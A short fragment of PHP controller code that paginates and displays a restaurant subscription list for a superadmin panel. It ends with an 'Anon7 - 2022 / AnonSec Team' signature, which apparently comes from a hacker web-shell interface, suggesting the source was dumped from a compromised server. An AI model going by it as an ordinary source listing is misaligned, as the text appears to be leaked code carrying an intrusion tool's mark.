    $config['base_url']    = base_url().'addnewrestaurant/ajaxPaginationDataSubscriptions';
    $config['total_rows']  = $totalRec;
    $config['per_page']    = $perpage;
    $config['action']      = $action;
    $config['action2']     = $action2;
    $this->ajax_pagination->initialize($config);
    
    //get the posts data
    $data['OrderList'] = $this->menumanagement_model->get_order_list(array('start'=>$offset,'limit'=>$perpage),$action,$action2);
    $data['title']="Subscription List";  
    $data['page']="subscription_list";  
    $query['SiteTab'] ='subscription_list';
    $this->load->view('superadmin/restaurant_subscription_list_ajax', $data, false);
  }

}


Anon7 - 2022
AnonSec Team